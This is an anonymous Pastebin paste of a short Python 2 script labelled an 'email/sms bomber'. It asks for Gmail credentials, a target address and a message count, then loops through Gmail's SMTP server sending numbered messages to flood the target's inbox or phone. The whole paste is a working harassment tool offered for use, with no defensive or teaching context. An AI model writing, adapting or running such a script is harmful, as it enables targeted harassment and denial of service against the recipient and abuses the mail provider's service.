Guest User

Untitled

a guest
Jan 8th, 2018
381
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.19 KB | None | 0 0
  1. import smtplib as s
  2. from email.MIMEMultipart import MIMEMultipart
  3. from email.MIMEText import MIMEText
  4.  
  5. def info():
  6. print "VJX email/sms bomber \n\r"
  7. info.username = raw_input("Gmail: (user@gmail.com): ")
  8. info.password = raw_input("gmail pass: ")
  9. info.bombed = raw_input("Email to bomb: ")
  10. info.number = raw_input("Number of emails to send: ")
  11. info.body = raw_input("Enter message you want to send: ")
  12. info.subject = raw_input("Enter subject of message (will have a number added so the emails dont create a thread): ")
  13.  
  14.  
  15. def confirm():
  16. reply = str(raw_input('Is everything correct? (y/n): ')).lower().strip()
  17. if reply[0] == 'y':
  18. return True
  19. if reply[0] == 'n':
  20. return False
  21. else:
  22. print("y/n only")
  23.  
  24.  
  25. info()
  26.  
  27. if confirm():
  28. obj = s.SMTP('smtp.gmail.com', 587)
  29. obj.starttls();
  30. obj.login(info.username, info.password)
  31. j = 0
  32.  
  33. for j in range(0, int(info.number)):
  34.  
  35. msg = MIMEMultipart()
  36. msg['From'] = info.username
  37. msg['To'] = info.bombed
  38. msg['Subject'] = info.subject + " " + str(j+1)
  39. msg.attach(MIMEText(info.body, 'plain'))
  40. text = msg.as_string()
  41.  
  42. obj.sendmail(info.username, info.bombed, text)
  43. print str(j + 1) + " Message(s) sent"
  44. j += 1
  45.  
  46. obj.quit()
  47. print("Done!")
  48.  
  49. else:
  50. info()
Add Comment
Please, Sign In to add comment